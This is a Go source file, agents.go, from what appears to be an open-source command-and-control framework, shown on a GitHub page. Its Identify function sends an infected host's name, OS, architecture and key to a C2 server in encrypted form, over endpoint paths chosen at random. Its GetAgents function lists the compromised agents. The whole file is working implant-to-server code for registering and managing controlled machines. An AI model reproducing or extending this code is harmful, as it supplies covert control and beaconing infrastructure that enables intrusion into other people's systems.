-
Notifications
You must be signed in to change notification settings - Fork 1
/
agents.go
93 lines (75 loc) · 1.81 KB
/
agents.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
package c2api
import (
"bytes"
"crypto/rsa"
"encoding/json"
"io"
"net/http"
cry "github.com/zarkones/xena-crypto"
)
// Identify should be called prior to interacting with the system.
// It allows an agent to make itself known to the C2 server.
func Identify(hostname, os, arch, pubKeyPEM string, decryptionKey *rsa.PrivateKey) (id string, err error) {
if TrustedPubKey == nil {
return "", ErrTrustedKeyIsNil
}
payload := Agent{
Hostname: hostname,
PubKeyPEM: pubKeyPEM,
OS: os,
Arch: arch,
}
jsonPayload, err := json.Marshal(&payload)
if err != nil {
return "", err
}
encrypted, err := cry.SecureWrap(TrustedPubKey, string(jsonPayload))
if err != nil {
return "", err
}
endpointPaths := RouteMap[R_AGENT_IDENTIFY]
endpointPath := randElem(&endpointPaths)
req, err := http.NewRequest(http.MethodPost, *BaseURL+"/"+endpointPath, bytes.NewBuffer([]byte(encrypted)))
if err != nil {
return "", err
}
resp, err := c.Do(req)
if err != nil {
return "", err
}
encryptedResp, err := io.ReadAll(resp.Body)
if err != nil {
return "", err
}
decryptedResp, err := cry.SecureUnwrap(decryptionKey, string(encryptedResp))
if err != nil {
return "", err
}
var respCtx struct {
ID string `json:"id"`
}
if err := json.Unmarshal([]byte(decryptedResp), &respCtx); err != nil {
return "", err
}
return respCtx.ID, nil
}
// GetAgents asks the C2 for the list of agents.
func GetAgents() (agents []Agent, err error) {
req, err := http.NewRequest(http.MethodGet, *BaseURL+"/v1/agents", nil)
if err != nil {
return nil, err
}
setAuth(req)
resp, err := c.Do(req)
if err != nil {
return nil, err
}
respBody, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
if err := json.Unmarshal(respBody, &agents); err != nil {
return nil, err
}
return agents, nil
}